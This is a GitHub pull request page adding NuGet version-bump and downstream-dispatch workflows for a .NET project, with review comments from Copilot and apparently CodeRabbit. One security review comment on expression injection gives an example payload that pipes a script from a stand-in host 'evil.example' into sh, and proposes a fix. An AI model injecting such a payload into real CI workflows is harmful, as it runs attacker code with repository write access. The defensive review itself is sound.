-
Notifications
You must be signed in to change notification settings - Fork 0
Docfx/context7 chat #23
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1 @@ | ||
| [ "swashbuckle-aspnetcore" ] |
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,133 @@ | ||||||||||||||||||||||||||||||
| #!/usr/bin/env python3 | ||||||||||||||||||||||||||||||
| """ | ||||||||||||||||||||||||||||||
| Simplified package bumping for Codebelt service updates (Option B). | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| Only updates packages published by the triggering source repo. | ||||||||||||||||||||||||||||||
| Does NOT update Microsoft.Extensions.*, BenchmarkDotNet, or other third-party packages. | ||||||||||||||||||||||||||||||
| Does NOT parse TFM conditions - only bumps Codebelt/Cuemon/Savvyio packages to the triggering version. | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| Usage: | ||||||||||||||||||||||||||||||
| TRIGGER_SOURCE=cuemon TRIGGER_VERSION=10.3.0 python3 bump-nuget.py | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| Behavior: | ||||||||||||||||||||||||||||||
| - If TRIGGER_SOURCE is "cuemon" and TRIGGER_VERSION is "10.3.0": | ||||||||||||||||||||||||||||||
| - Cuemon.Core: 10.2.1 → 10.3.0 | ||||||||||||||||||||||||||||||
| - Cuemon.Extensions.IO: 10.2.1 → 10.3.0 | ||||||||||||||||||||||||||||||
| - Microsoft.Extensions.Hosting: 9.0.13 → UNCHANGED (not a Codebelt package) | ||||||||||||||||||||||||||||||
| - BenchmarkDotNet: 0.15.8 → UNCHANGED (not a Codebelt package) | ||||||||||||||||||||||||||||||
| """ | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| import re | ||||||||||||||||||||||||||||||
| import os | ||||||||||||||||||||||||||||||
| import sys | ||||||||||||||||||||||||||||||
| from typing import Dict, List | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| TRIGGER_SOURCE = os.environ.get("TRIGGER_SOURCE", "") | ||||||||||||||||||||||||||||||
| TRIGGER_VERSION = os.environ.get("TRIGGER_VERSION", "") | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| # Map of source repos to their package ID prefixes | ||||||||||||||||||||||||||||||
| SOURCE_PACKAGE_MAP: Dict[str, List[str]] = { | ||||||||||||||||||||||||||||||
| "cuemon": ["Cuemon."], | ||||||||||||||||||||||||||||||
| "xunit": ["Codebelt.Extensions.Xunit"], | ||||||||||||||||||||||||||||||
| "benchmarkdotnet": ["Codebelt.Extensions.BenchmarkDotNet"], | ||||||||||||||||||||||||||||||
| "bootstrapper": ["Codebelt.Bootstrapper"], | ||||||||||||||||||||||||||||||
| "newtonsoft-json": [ | ||||||||||||||||||||||||||||||
| "Codebelt.Extensions.Newtonsoft.Json", | ||||||||||||||||||||||||||||||
| "Codebelt.Extensions.AspNetCore.Mvc.Formatters.Newtonsoft", | ||||||||||||||||||||||||||||||
| ], | ||||||||||||||||||||||||||||||
| "aws-signature-v4": ["Codebelt.Extensions.AspNetCore.Authentication.AwsSignature"], | ||||||||||||||||||||||||||||||
| "unitify": ["Codebelt.Unitify"], | ||||||||||||||||||||||||||||||
| "yamldotnet": [ | ||||||||||||||||||||||||||||||
| "Codebelt.Extensions.YamlDotNet", | ||||||||||||||||||||||||||||||
| "Codebelt.Extensions.AspNetCore.Mvc.Formatters.Text.Yaml", | ||||||||||||||||||||||||||||||
| ], | ||||||||||||||||||||||||||||||
| "globalization": ["Codebelt.Extensions.Globalization"], | ||||||||||||||||||||||||||||||
| "asp-versioning": ["Codebelt.Extensions.Asp.Versioning"], | ||||||||||||||||||||||||||||||
| "swashbuckle-aspnetcore": ["Codebelt.Extensions.Swashbuckle"], | ||||||||||||||||||||||||||||||
| "savvyio": ["Savvyio."], | ||||||||||||||||||||||||||||||
| "shared-kernel": [], | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| def is_triggered_package(package_name: str) -> bool: | ||||||||||||||||||||||||||||||
| """Check if package is published by the triggering source repo.""" | ||||||||||||||||||||||||||||||
| if not TRIGGER_SOURCE: | ||||||||||||||||||||||||||||||
| return False | ||||||||||||||||||||||||||||||
| prefixes = SOURCE_PACKAGE_MAP.get(TRIGGER_SOURCE, []) | ||||||||||||||||||||||||||||||
| return any(package_name.startswith(prefix) for prefix in prefixes) | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| def main(): | ||||||||||||||||||||||||||||||
| if not TRIGGER_SOURCE or not TRIGGER_VERSION: | ||||||||||||||||||||||||||||||
| print( | ||||||||||||||||||||||||||||||
| "Error: TRIGGER_SOURCE and TRIGGER_VERSION environment variables required" | ||||||||||||||||||||||||||||||
| ) | ||||||||||||||||||||||||||||||
| print(f" TRIGGER_SOURCE={TRIGGER_SOURCE}") | ||||||||||||||||||||||||||||||
| print(f" TRIGGER_VERSION={TRIGGER_VERSION}") | ||||||||||||||||||||||||||||||
| sys.exit(1) | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| # Strip 'v' prefix if present in version | ||||||||||||||||||||||||||||||
| target_version = TRIGGER_VERSION.lstrip("v") | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
Comment on lines
+70
to
+71
|
||||||||||||||||||||||||||||||
| target_version = TRIGGER_VERSION.lstrip("v") | |
| target_version = TRIGGER_VERSION.lstrip("v").strip() | |
| # Validate that the resulting version is a semantic version (e.g., 1.2.3, 1.2.3-alpha.1+build.5) | |
| semver_pattern = re.compile( | |
| r"^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)" | |
| r"(?:-[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?" | |
| r"(?:\+[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?$" | |
| ) | |
| if not target_version or not semver_pattern.match(target_version): | |
| print("Error: TRIGGER_VERSION is not a valid semantic version") | |
| print(f" TRIGGER_VERSION (raw) = {TRIGGER_VERSION!r}") | |
| print(f" Parsed target_version = {target_version!r}") | |
| sys.exit(1) |
Copilot
AI
Feb 20, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Potential issue with the regex pattern matching multiline PackageVersion elements. The regex uses re.DOTALL to match across lines, but the positive lookahead assertions may not work correctly if the Include and Version attributes are separated by newlines or significant whitespace. While this might work for most cases, consider testing with various formatting styles in Directory.Packages.props to ensure robustness.
| # Match PackageVersion elements (handles multiline) | |
| pattern = re.compile( | |
| r"<PackageVersion\b" | |
| r'(?=[^>]*\bInclude="([^"]+)")' | |
| r'(?=[^>]*\bVersion="([^"]+)")' | |
| r"[^>]*>", | |
| re.DOTALL, | |
| # Match PackageVersion elements (handles multiline and flexible whitespace) | |
| pattern = re.compile( | |
| r"<PackageVersion\b" | |
| r'(?=[^>]*\bInclude\s*=\s*"([^"]+)")' | |
| r'(?=[^>]*\bVersion\s*=\s*"([^"]+)")' | |
| r"[^>]*>", |
Copilot
AI
Feb 20, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Redundant return statement. Line 129 returns 0 in both branches of the ternary operator, making the conditional logic unnecessary. This should simply be "return 0".
| return 0 if changes else 0 # Return 0 even if no changes (not an error) | |
| return 0 # Return 0 even if no changes (not an error) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Remove the useless conditional — flagged by Ruff (RUF034).
Both branches of return 0 if changes else 0 are identical; the expression always evaluates to 0 regardless of changes. Simplify to avoid the dead-code warning.
🔧 Proposed fix
- return 0 if changes else 0 # Return 0 even if no changes (not an error)
+ return 0 # Return 0 even if no changes (not an error)🧰 Tools
🪛 Ruff (0.15.1)
[warning] 129-129: Useless if-else condition
(RUF034)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/scripts/bump-nuget.py at line 129, The final return uses a redundant
conditional expression "return 0 if changes else 0"; replace it with a simple
unconditional "return 0" to remove the useless conditional and silence the Ruff
RUF034 warning in the bump-nuget.py function containing that return.
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,139 @@ | ||||||||||||||||||||||||||||||||||
| name: Service Update | ||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||
| on: | ||||||||||||||||||||||||||||||||||
| repository_dispatch: | ||||||||||||||||||||||||||||||||||
| types: [codebelt-service-update] | ||||||||||||||||||||||||||||||||||
| workflow_dispatch: | ||||||||||||||||||||||||||||||||||
| inputs: | ||||||||||||||||||||||||||||||||||
| source_repo: | ||||||||||||||||||||||||||||||||||
| description: 'Triggering source repo name (e.g. cuemon)' | ||||||||||||||||||||||||||||||||||
| required: false | ||||||||||||||||||||||||||||||||||
| default: '' | ||||||||||||||||||||||||||||||||||
| source_version: | ||||||||||||||||||||||||||||||||||
| description: 'Version released by source (e.g. 10.3.0)' | ||||||||||||||||||||||||||||||||||
| required: false | ||||||||||||||||||||||||||||||||||
| default: '' | ||||||||||||||||||||||||||||||||||
| dry_run: | ||||||||||||||||||||||||||||||||||
| type: boolean | ||||||||||||||||||||||||||||||||||
| description: 'Dry run — show changes but do not commit or open PR' | ||||||||||||||||||||||||||||||||||
| default: false | ||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||
| permissions: | ||||||||||||||||||||||||||||||||||
| contents: write | ||||||||||||||||||||||||||||||||||
| pull-requests: write | ||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||
| jobs: | ||||||||||||||||||||||||||||||||||
| service-update: | ||||||||||||||||||||||||||||||||||
| runs-on: ubuntu-24.04 | ||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||
| steps: | ||||||||||||||||||||||||||||||||||
| - name: Checkout | ||||||||||||||||||||||||||||||||||
| uses: actions/checkout@v4 | ||||||||||||||||||||||||||||||||||
| with: | ||||||||||||||||||||||||||||||||||
| fetch-depth: 0 | ||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||
| fetch-depth: 0 | |
| fetch-depth: 1 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Expression injection: pass client_payload values via env:, not inline ${{ }}.
The ${{ github.event.client_payload.source_repo }} and source_version expressions are interpolated into the shell script before the runner executes it. A workflow_dispatch caller (anyone with write access) can supply a value such as "; curl -s https://evil.example | sh #" to execute arbitrary commands. The repository_dispatch path is lower risk because only callers with push access to the upstream repo control the payload, but the workflow_dispatch path is directly exploitable.
The safe pattern is to assign the expression to an env: variable and reference it as a shell variable:
🔒 Proposed fix
- name: Resolve trigger inputs
id: trigger
+ env:
+ _SOURCE: ${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}
+ _VERSION: ${{ github.event.client_payload.source_version || github.event.inputs.source_version }}
run: |
- SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}"
- VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}"
- echo "source=$SOURCE" >> $GITHUB_OUTPUT
- echo "version=$VERSION" >> $GITHUB_OUTPUT
+ echo "source=$_SOURCE" >> $GITHUB_OUTPUT
+ echo "version=$_VERSION" >> $GITHUB_OUTPUT📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}" | |
| VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}" | |
| echo "source=$SOURCE" >> $GITHUB_OUTPUT | |
| echo "version=$VERSION" >> $GITHUB_OUTPUT | |
| - name: Resolve trigger inputs | |
| id: trigger | |
| env: | |
| _SOURCE: ${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }} | |
| _VERSION: ${{ github.event.client_payload.source_version || github.event.inputs.source_version }} | |
| run: | | |
| echo "source=$_SOURCE" >> $GITHUB_OUTPUT | |
| echo "version=$_VERSION" >> $GITHUB_OUTPUT |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml around lines 38 - 41, The current use
of inline expressions for github.event.client_payload.source_repo and
github.event.client_payload.source_version is vulnerable to expression
injection; move those expressions into workflow env variables and reference them
in the shell script as shell variables instead of interpolating with ${{ }}.
Specifically, add env entries that set e.g. SOURCE: ${{
github.event.client_payload.source_repo || github.event.inputs.source_repo }}
and VERSION: ${{ github.event.client_payload.source_version ||
github.event.inputs.source_version }}, then in the script reference the shell
variables SOURCE and VERSION (without further ${ { } } interpolation) when
emitting to GITHUB_OUTPUT to eliminate command injection via workflow_dispatch
payloads.
Copilot
AI
Feb 20, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Potential for unintended behavior when CHANGELOG.md has no version headers. The grep command will return nothing if no version pattern matches, causing CURRENT to be empty. This will result in NEW being just "..1" (malformed version string). Consider adding validation after the grep to check if CURRENT is empty and either fail with a clear error message or set a sensible default.
| CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1) | |
| CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1) | |
| if [ -z "$CURRENT" ]; then | |
| echo "Error: Could not determine current version from CHANGELOG.md. Expected headings like '## [1.2.3]'." >&2 | |
| exit 1 | |
| fi | |
| if ! echo "$CURRENT" | grep -Eq '^[0-9]+\.[0-9]+\.[0-9]+$'; then | |
| echo "Error: Current version '$CURRENT' from CHANGELOG.md is not in 'MAJOR.MINOR.PATCH' format." >&2 | |
| exit 1 | |
| fi |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Missing guard when CHANGELOG.md has no ## [X.Y.Z] version entry.
If grep finds no match, CURRENT is an empty string. The awk command then produces "..1" for NEW and "v..1/service-update" for BRANCH. Git rejects that as an invalid ref name, but by then PackageReleaseNotes.txt and Directory.Packages.props have already been modified, leaving the working tree in a partially-mutated state.
🔧 Proposed fix
run: |
CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1)
+ if [ -z "$CURRENT" ]; then
+ echo "Error: could not determine current version from CHANGELOG.md"
+ exit 1
+ fi
NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}')
BRANCH="v${NEW}/service-update"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1) | |
| NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}') | |
| BRANCH="v${NEW}/service-update" | |
| echo "current=$CURRENT" >> $GITHUB_OUTPUT | |
| echo "new=$NEW" >> $GITHUB_OUTPUT | |
| echo "branch=$BRANCH" >> $GITHUB_OUTPUT | |
| CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1) | |
| if [ -z "$CURRENT" ]; then | |
| echo "Error: could not determine current version from CHANGELOG.md" | |
| exit 1 | |
| fi | |
| NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}') | |
| BRANCH="v${NEW}/service-update" | |
| echo "current=$CURRENT" >> $GITHUB_OUTPUT | |
| echo "new=$NEW" >> $GITHUB_OUTPUT | |
| echo "branch=$BRANCH" >> $GITHUB_OUTPUT |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml around lines 46 - 51, The script
currently assumes CURRENT (from grep on CHANGELOG.md) always exists; when empty
the awk line that computes NEW and BRANCH produces invalid refs and leaves the
repo in a partially-modified state. Add a guard immediately after computing
CURRENT that checks if CURRENT is empty or unset and if so logs a clear error
and exits non‑zero before any file modifications (or alternatively prompts/sets
a safe default); reference the CURRENT/NEW/BRANCH variables and the grep/awk
computation so you place the check right after the CURRENT assignment and before
the awk that builds NEW and the BRANCH assignment.
Copilot
AI
Feb 20, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Missing error handling when reading Availability line from PackageReleaseNotes.txt. If a file exists but lacks an "Availability:" line, the grep command will fail and the fallback default will be used. However, if the file format is corrupted or doesn't follow the expected pattern, this could result in incorrect TFM values being propagated. Consider validating that the extracted TFM value is non-empty and matches expected patterns before using it.
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | |
| DEFAULT_TFM=".NET 10, .NET 9 and .NET Standard 2.0" | |
| RAW_AVAIL_LINE=$(grep -m1 "^Availability:" "$f" || true) | |
| TFM="" | |
| if [ -n "$RAW_AVAIL_LINE" ]; then | |
| # Strip the 'Availability:' prefix and trim surrounding whitespace | |
| TFM="${RAW_AVAIL_LINE#Availability: }" | |
| TFM="$(printf '%s\n' "$TFM" | xargs)" | |
| fi | |
| # Validate that TFM is non-empty and matches an expected pattern; otherwise, fall back to default | |
| if [ -z "$TFM" ] || ! printf '%s\n' "$TFM" | grep -Eq '^\.NET [0-9]+(, \.NET [0-9]+)*( and \.NET Standard 2\.0)?$'; then | |
| TFM="$DEFAULT_TFM" | |
| fi |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
TFM fallback is unreachable without pipefail.
In the pipeline grep ... | sed ... || echo "...", bash evaluates the exit code of sed (the last command), not grep. When grep finds no Availability: line it exits 1, but sed receives empty input and exits 0, so the || echo fallback never fires and TFM is silently set to an empty string. The resulting entry becomes Availability: with no TFM text.
🔧 Proposed fix
for f in .nuget/*/PackageReleaseNotes.txt; do
[ -f "$f" ] || continue
- TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
+ TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //')
+ TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}"Using the shell parameter expansion ${TFM:-default} applies the fallback when TFM is empty regardless of which stage in the pipeline returned a zero exit code.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| for f in .nuget/*/PackageReleaseNotes.txt; do | |
| [ -f "$f" ] || continue | |
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | |
| ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | |
| { printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f" | |
| done | |
| for f in .nuget/*/PackageReleaseNotes.txt; do | |
| [ -f "$f" ] || continue | |
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //') | |
| TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}" | |
| ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | |
| { printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f" | |
| done |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml around lines 70 - 75, The TFM
assignment is currently using a pipeline `TFM=$(grep -m1 "^Availability:" "$f" |
sed 's/Availability: //' || echo "...")` which makes the fallback unreachable;
change the extraction to assign whatever the pipeline produces into TFM and then
apply a shell-default fallback (e.g., use `${TFM:-".NET 10, .NET 9 and .NET
Standard 2.0"}`) wherever TFM is used or immediately after the pipeline so that
an empty TFM becomes the default; update the use in the ENTRY variable (the
`Availability: ${TFM}` portion) to reference the defaulted value to ensure the
release notes always include a non-empty Availability string.
Copilot
AI
Feb 20, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Potential data loss if CHANGELOG.md doesn't contain the expected version header pattern. If the file exists but doesn't contain "## [" anywhere (idx == -1), the new entry is appended to the end rather than prepended to the beginning. This could result in the changelog being in reverse chronological order or entries being placed in the wrong location. Consider validating that idx is found and failing with a clear error if the expected pattern is missing.
| content = (content[:idx] + entry + content[idx:]) if idx != -1 else (content + entry) | |
| if idx == -1: | |
| raise SystemExit("CHANGELOG.md does not contain the expected '## [' version header pattern; aborting update. Please fix the changelog format and rerun.") | |
| content = content[:idx] + entry + content[idx:] |
Copilot
AI
Feb 20, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Race condition risk when multiple service updates are triggered simultaneously. If two upstream repositories release at nearly the same time, both workflows could try to create branches with the same name (since both would read the same CURRENT version from CHANGELOG.md), leading to git push failures. Consider adding a check to see if the branch already exists, or include a timestamp or triggering source in the branch name to ensure uniqueness.
| git config user.name "codebelt-aicia[bot]" | |
| git config user.email "codebelt-aicia[bot]@users.noreply.github.com" | |
| git checkout -b "$BRANCH" | |
| BASE_BRANCH="$BRANCH" | |
| # Ensure branch name is unique in case multiple runs target the same version | |
| if git ls-remote --exit-code --heads origin "$BRANCH" >/dev/null 2>&1; then | |
| BRANCH="${BASE_BRANCH}-${GITHUB_RUN_ID}" | |
| fi | |
| git config user.name "codebelt-aicia[bot]" | |
| git config user.email "codebelt-aicia[bot]@users.noreply.github.com" | |
| git checkout -b "$BRANCH" || git checkout "$BRANCH" |
Copilot
AI
Feb 20, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Potential command injection vulnerability in the inline bash script. The variables SOURCE and SRC_VER come from user-controlled inputs (github.event.client_payload or github.event.inputs). While they're used in echo statements that write to a file, if these values contain special characters or command substitution syntax, they could potentially be exploited. Consider sanitizing or validating these inputs, or use safer methods for string interpolation that prevent command injection (e.g., printf with format specifiers).
| echo "Triggered by: ${SOURCE} @ ${SRC_VER}" >> pr_body.txt | |
| # Sanitize potentially user-controlled values to prevent command substitution | |
| SAFE_SOURCE="${SOURCE//\`/\\\`}" | |
| SAFE_SOURCE="${SAFE_SOURCE//\$/\\\$}" | |
| SAFE_SRC_VER="${SRC_VER//\`/\\\`}" | |
| SAFE_SRC_VER="${SAFE_SRC_VER//\$/\\\$}" | |
| echo "Triggered by: ${SAFE_SOURCE} @ ${SAFE_SRC_VER}" >> pr_body.txt |
Copilot
AI
Feb 20, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hardcoded assignee 'gimlichael' in PR creation command. If the maintainer changes or this workflow needs to be adapted for other repositories, this hardcoded username will need to be updated. Consider making this configurable through a repository variable or extracting it from repository metadata.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hardcoded --assignee gimlichael and --base main reduce portability.
--assignee gimlichael will fail silently or error if that user is ever renamed or loses write access to a fork of this template. --base main breaks if a downstream repo's default branch is named differently (e.g. master).
🔧 Proposed fix
- gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base main --head "$BRANCH" --assignee gimlichael
+ DEFAULT_BRANCH=$(gh repo view --json defaultBranchRef --jq '.defaultBranchRef.name')
+ gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base "$DEFAULT_BRANCH" --head "$BRANCH"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base main --head "$BRANCH" --assignee gimlichael | |
| DEFAULT_BRANCH=$(gh repo view --json defaultBranchRef --jq '.defaultBranchRef.name') | |
| gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base "$DEFAULT_BRANCH" --head "$BRANCH" |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml at line 139, The gh pr create command
currently hardcodes --assignee gimlichael and --base main; remove the hardcoded
assignee flag and replace the hardcoded base with a variable (e.g. --base
"$DEFAULT_BRANCH") so the workflow works across forks and repos with different
default branches. Add logic earlier in the workflow to populate DEFAULT_BRANCH
(for example from the repo metadata or an env fallback that detects origin's
default branch or falls back to main/master) and ensure the gh pr create
invocation uses --base "$DEFAULT_BRANCH" and no --assignee value.
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,78 @@ | ||
| name: Trigger Downstream Service Updates | ||
|
|
||
| on: | ||
| release: | ||
| types: [published] | ||
|
|
||
| jobs: | ||
| dispatch: | ||
| if: github.event.release.prerelease == false | ||
| runs-on: ubuntu-24.04 | ||
| permissions: | ||
| contents: read | ||
|
|
||
| steps: | ||
| - name: Checkout (to read dispatch-targets.json) | ||
| uses: actions/checkout@v4 | ||
|
|
||
| - name: Check for dispatch targets | ||
| id: check | ||
| run: | | ||
| if [ ! -f .github/dispatch-targets.json ]; then | ||
| echo "No dispatch-targets.json found, skipping." | ||
| echo "has_targets=false" >> $GITHUB_OUTPUT | ||
| exit 0 | ||
| fi | ||
| COUNT=$(python3 -c "import json; print(len(json.load(open('.github/dispatch-targets.json'))))") | ||
| echo "has_targets=$([ $COUNT -gt 0 ] && echo true || echo false)" >> $GITHUB_OUTPUT | ||
| - name: Extract version from release tag | ||
| if: steps.check.outputs.has_targets == 'true' | ||
| id: version | ||
| run: | | ||
| VERSION="${{ github.event.release.tag_name }}" | ||
| VERSION="${VERSION#v}" | ||
| echo "version=$VERSION" >> $GITHUB_OUTPUT | ||
| - name: Generate codebelt-aicia token | ||
| if: steps.check.outputs.has_targets == 'true' | ||
| id: app-token | ||
| uses: actions/create-github-app-token@v1 | ||
| with: | ||
| app-id: ${{ vars.CODEBELT_AICIA_APP_ID }} | ||
| private-key: ${{ secrets.CODEBELT_AICIA_PRIVATE_KEY }} | ||
| owner: codebeltnet | ||
|
|
||
| - name: Dispatch to downstream repos | ||
| if: steps.check.outputs.has_targets == 'true' | ||
| run: | | ||
| python3 - <<'EOF' | ||
| import json, urllib.request, os, sys | ||
| targets = json.load(open('.github/dispatch-targets.json')) | ||
| token = os.environ['GH_TOKEN'] | ||
| version = os.environ['VERSION'] | ||
| source = os.environ['SOURCE_REPO'] | ||
| for repo in targets: | ||
| url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches' | ||
|
Comment on lines
+57
to
+58
|
||
| payload = json.dumps({ | ||
| 'event_type': 'codebelt-service-update', | ||
| 'client_payload': { | ||
| 'source_repo': source, | ||
| 'source_version': version | ||
| } | ||
| }).encode() | ||
| req = urllib.request.Request(url, data=payload, method='POST', headers={ | ||
| 'Authorization': f'Bearer {token}', | ||
| 'Accept': 'application/vnd.github+json', | ||
| 'Content-Type': 'application/json', | ||
| 'X-GitHub-Api-Version': '2022-11-28' | ||
| }) | ||
| with urllib.request.urlopen(req) as r: | ||
| print(f'✓ Dispatched to {repo}: HTTP {r.status}') | ||
|
Comment on lines
+72
to
+73
|
||
| EOF | ||
|
Comment on lines
+50
to
+74
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Without a Additionally, an 🔧 Proposed fix import json, urllib.request, os, sys
- targets = json.load(open('.github/dispatch-targets.json'))
+ with open('.github/dispatch-targets.json') as _f:
+ targets = json.load(_f)
token = os.environ['GH_TOKEN']
version = os.environ['VERSION']
source = os.environ['SOURCE_REPO']
+ errors = []
for repo in targets:
url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches'
payload = json.dumps({
'event_type': 'codebelt-service-update',
'client_payload': {
'source_repo': source,
'source_version': version
}
}).encode()
req = urllib.request.Request(url, data=payload, method='POST', headers={
'Authorization': f'Bearer {token}',
'Accept': 'application/vnd.github+json',
'Content-Type': 'application/json',
'X-GitHub-Api-Version': '2022-11-28'
})
- with urllib.request.urlopen(req) as r:
- print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+ try:
+ with urllib.request.urlopen(req, timeout=30) as r:
+ print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+ except Exception as e:
+ print(f'✗ Failed to dispatch to {repo}: {e}', file=sys.stderr)
+ errors.append(repo)
+ if errors:
+ sys.exit(1)🤖 Prompt for AI Agents |
||
| env: | ||
| GH_TOKEN: ${{ steps.app-token.outputs.token }} | ||
| VERSION: ${{ steps.version.outputs.version }} | ||
| SOURCE_REPO: ${{ github.event.repository.name }} | ||
There was a problem hiding this comment.
